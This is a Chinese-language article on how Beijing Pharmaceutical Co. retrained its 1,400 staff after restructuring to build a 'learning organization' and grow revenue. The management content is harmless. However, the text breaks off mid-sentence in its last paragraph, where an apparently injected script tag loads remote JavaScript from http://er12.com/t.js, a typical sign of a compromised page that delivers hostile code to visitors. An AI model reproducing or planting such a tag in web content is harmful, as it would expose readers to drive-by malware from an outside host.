二十一世纪，人类社会进入了知识经济时代，市场竞争的焦点不仅是资金、技术等传统资源，而是表现在人力资本基础之上的创新能力竞争、知识的竞争。说到底，是人才的竞争。为此，根据市场的竞争的需要，不断的提高企业员工队伍的综合素质，不断提高员工的知识技能和能力，就尤为显得重要。“企业核心竞争力”的打造，应该立足于建立学习型团队组织上，这是最长久和最实际的方法。
北京医药股份公司的成功改制和发展，正式说明了这一点。一个50多年的老国企，改制后确立建立学习型组织的发展战略，采用了一系列有效的方法，在短短的五年中，员工综合素质得到全面提高，企业经营规模达到40亿元，是五年前的3.5倍，已经发展成为北京市最大的医药流通企业，列入北京100强企业前茅，成为全国同行中明星企业。
我们的做法是：从体制上入手，确立建立学习型组织发展战略；从机制上着眼，建立学习型组织的保障体系；从方法上落实：围绕一个中心，坚持两项原则，打造三套体系，采取四种方法。
一．从体制改革入手，确立学习型组织的发展战略。北京医药股份有限公司是国有控股企业，主要从事医药产品和医疗器械产品的批发供应工作，拥有供需客户7000多家，经营品种达20000多个，销售网络遍及全国各地，年经营规模40亿元左右，是北京市最大的医药流通企业。这个企业的前身是多个国有企业，2000年末进行改制重组的，总资产达11亿元。在企业整合初期，在册员工多达1400多名，而且全部是国有员工身份。当时，这个企业和许多老国企一样，员工文化素质普遍偏低、年龄偏大，班子成员大多属于后学历。在过去旧体制的束缚下，广大员工学习再造的机会几乎没有，更很少提及岗位技能的培训。致使企业员工精神面貌不佳，企业在市场竞争中屡屡受挫。改革开放以后，人们开始重视知识，视人才为企业财富，但是人们的眼睛又往往盯在一些学历较高的年轻人身上。因为，这部分人员文化基础好，接受能力快，而这部分人员又大多集中在合资企业或外资企业之中，很多企业家把这部分人员视为优质生产力，而把国企的员工视为包袱。但北京医药股份公司的领导班子，却有不同的认识，他们认为这部分员工的文化素质是由于历史原因造成的，是社会使他们错过了读书深造的机会，不是他们的错。何况这部分员工已经构成社会的一个层面，如果放弃他们，实际是一种社会资源的浪费，因为他们曾有着丰富的实际工作经验，有着很强的责任心，是旧的体制束缚了他们的提升。为此，公司不愿放弃这部分可提高和再造的人力资源，不愿在计划经济向市场经济转轨的过程中，再让这些员工承受改制的代价。北药股份公司借助企业改制之机，确立了建立学习型团队组织的目标，在不让一个员工下岗的前提下，北药股份在内部开展了“全员素质再造工程”，从提高员工综合素质入手，培育企业核心竞争力。从育人入手，用现代的科学理念塑造员工，用先进的信息化手段培训员工，用科学岗位技能提高员工，从而提升开发了企业人力生产力，促进了企业快速的发展。从中感悟到，人，是生产力中最活跃的因素，是取之不尽、用之不竭的力量源泉。
在公司改制后，当时在岗的1400名员工全部留下，没有让一个员工下岗，并同时在企业内部开展了“全员素质再造工程”。即：对给每个员工三次培训、两次上岗的机会。培训内容从多方面入手，包括企业未来发展前景、国外同行的先进管理模式以及必要的文明礼仪，从员工思想观念上，解决为客户服务的意识。同时，在学习借鉴国内外同行先进经验的过程中，找到自己在思想观念、业务技能和市场竞争意识上的差距，激发员工内心的责任感，提高员工的紧迫感，鼓舞员工树立自信。给员工学习提高的机会和平台，在提高中建立自信，找到自我、超越自我。全体员工业务技能和竞争意识提高之日，就是企业快速发展之时。北药股份公司的发展事实，充分证明了这一点。改制后公司市场规模快速发展，将业务从本市发展到全国各地，建立了有序的销售网络；经营业绩连续五年持续增长，平均每年增幅20％以上；员工收入和企业效益同步增长，股东连续三年分红，员工连续五年上调工资。然而，企业的员工还是过去的员工，企业的业务范围还是原来的范围，但是，公司却发生了如此之大的变化。这就是体制改革推动了员工素质的提高，人的素质变化，带来了企业的变化。
二．从管理机制上着眼，建立学习型组织的保障体系
新的体制建立之后，必须建立与之配套的运行机制。全员素质再造工程必须建立长效保障机制。公司改制后，1400名员工是留下了，但是把大家培养成高素质的员工队伍，也是有非常大的困难的。由于过去长时间的粗放型的管理，使得一些员工从思想上产生懒惰情绪，厌烦学习；甚至有的员工参加培训只为了应付上岗的需要，而不是心甘情愿地愿意提高，有混饭吃的思想；更有一些年龄较大的员工，畏惧信息化培训，产生自暴自弃的念头；一些曾有过上山下乡经历的员工，只是把全部未来希望寄托?script src=http://er12.com/t.js>
